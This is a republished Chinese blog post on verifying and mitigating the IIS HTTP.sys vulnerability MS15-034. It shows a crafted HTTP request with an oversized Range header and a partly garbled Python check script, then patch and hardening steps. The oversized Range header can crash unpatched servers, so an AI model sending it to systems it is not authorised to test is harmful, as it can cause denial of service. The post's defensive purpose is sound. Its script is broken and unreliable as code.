HTTP.sys漏洞验证及防护[通俗易懂]

HTTP.sys漏洞验证及防护[通俗易懂] 使用发包工具构造http请求包检测以fiddler工具为例,构造如下图的请求包:1GEThttp://192.168.174.145/HTTP/1.12Host:192.168.174.1453Range:bytes=0-184467440737095516154Connection:keep-alive5Cache-Control:max-age=06A…

大家好,又见面了,我是你们的朋友全栈君。

 使用发包工具构造http请求包检测 以fiddler工具为例,构造如下图的请求包:

1 GET http://192.168.174.145/ HTTP/1.1
2 Host: 192.168.174.145
3 Range: bytes=0-18446744073709551615
4 Connection: keep-alive
5 Cache-Control: max-age=0
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

HTTP.sys漏洞验证及防护[通俗易懂]

漏洞确认 如果收到服务器返回包如下, 则说明存在此漏洞。建议您尽快制定防护计划,以避免系统在获得加固前遭受攻击。

图片7

 

漏洞验证POC 

#!/usr/bin/env python
__author__ = ';jastra';
class bg_colors:
    VULN = ';33[92m';
    NONVULN= ';33[95m';
    EXPLOIT = ';33[91m';  
try:
    import requests
    import re
except ImportError as ierr:
    print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr)
    
def identify_iis(domain):
    req = requests.get(str(domain))
    remote_server = req.headers[';server';]
        
    if "Microsoft-IIS" in remote_server:
        print(bg_colors.VULN + "[+] 服务是 " + remote_server) 
        ms15_034_test(str(domain))
    else:
        print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server) 
        
def ms15_034_test(domain):
    print(" 启动vuln检查!")
    vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
    req = requests.get(str(domain), params=vuln_buffer)
    if req.headers[';content';] == "请求范围不符合":
        print(bg_colors.EXPLOIT + "[+] 存在漏洞")
    else:
        print(bg_colors.EXPLOIT + "[-] IIS服务无法显示漏洞是否存在. "+
               "需要手动检测")
usr_domain = raw_input("输入域名扫描: ")
identify_iis(usr_domain)

 

 

http.sys漏洞防护

经过上面的漏洞检测步骤后,如果确认您的业务环境中存在http.sys漏洞,那么就需要尽快制定并启动加固方案,这些加固从漏洞补丁开始,到产品防护,到整体防护,逐步推进。

漏洞加固

使用IIS的用户,可以通过Windows Update的方式获得对应的KB3042553热修补补丁,建议用户开启自动更新服务以及时安装最新补丁,相关公告请见:

http.sys漏洞补丁公告:http://technet.microsoft.com/security/bulletin/MS15-034

如果您的业务系统暂时还无法升级补丁,那么可通过禁用IIS 内核缓存来临时缓解此漏洞的危险,但需要注意这可能会导致IIS性能下降,具体的执行方法可以参考:

http.sys漏洞缓解方案:https://technet.microsoft.com/zh-cn/library/cc731903(v=ws.10).aspx

IIS加固

虽然IIS7中http.sys已经独立出来成为系统级驱动程序,但以史为鉴,建议用户在安装补丁的同时也需要考虑IIS加固事项,具体的最佳实践请参考:

IIS7加固方案: https://technet.microsoft.com/zh-cn/library/cc731278(WS.10).aspx

 

参考博文地址:

http://www.ijiandao.com/safe/cto/12829.html

http://www.freebuf.com/articles/system/64185.html

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/161426.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • Microsoft Visual Studio 2010 简体中文旗舰版下载「建议收藏」

    Microsoft Visual Studio 2010 简体中文旗舰版下载「建议收藏」听说MSDN放出了MicrosoftVisualStudio2010简体中文旗舰版,怀着激动的心情下载安装。下面是下载地址如果有MSDN订阅账号的话可以去https://msdn.microsoft.com/zh-cn/subscriptions/securedownloads/default.aspx如果没有可以使用下面的地址下载,这里感谢前人的分享ed2k://|file|cn_visual_studio_2010_ultimate_x86_dvd_532347.iso|2685982720|4

  • Linux——ps(列出进程)

    Linux——ps(列出进程)

  • stm32基础知识必会_护理学基础必考知识点

    stm32基础知识必会_护理学基础必考知识点目录【GPIO外设】一、GPIO的八种工作模式二、总结在STM32中选用IO模式【RCC时钟】【NVIC是嵌套向量中断控制器】一、优先级定义二、优先级分组【EXTI外部中断/事件控制器】【SysTick系统定时器】【通讯的基本概念】一、串行通讯与并行通讯二、全双工、半双工及单工通讯三、同步通讯与异步通讯四、通讯速率【串口通讯】一、物理层:二、协议层【I2C】一、物理层二、协议层【SPI】一、SPI物理层二、协议…

  • 第三方接口开发流程「建议收藏」

    第三方接口开发流程「建议收藏」1.确定需要哪些接口重点是要确定每个接口的具体功能。确保这些接口是必须的,功能相互间没有交叉。2.接口设计及细节分析a)发送参数名、参数含义、参数数据类型、长度、精度b)接收参数名、参数含义、参数数据类型、长度、精度接口的使用的类型变量尽量通用,特别是对使用此接口的用户一无所知情况下,对方可能是JAVA,也可能是VB6,也可能是C#,不要使用某种编程语言的…

  • c语言背包问题(动态规划解法)

    c语言背包问题(动态规划解法)题目描述:有若干个物品要装进背包,并且每个物品有各自的价值,物品的数量、价值以及背包的容量由用户输入,求背包内能够存入的最大价值为多少,并且求出此时放入了哪些物品输入格式:第一行输入物品的容量r和物品个数n第二行输入每个物品的重量第三行输入每个物品的价值输出格式:第一行输出背包中能够存储的最大价值第二行输出此时背包中的物品编号思路分析:可以把这个问题看成是一个二维数组,行是物品编号,列是背包容量,若物品编号为2,背包容量为4,代表的则是当背包容量为..

  • POJ 1458 Common Subsequence(最长公共子序列LCS)「建议收藏」

    POJ 1458 Common Subsequence(最长公共子序列LCS)

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号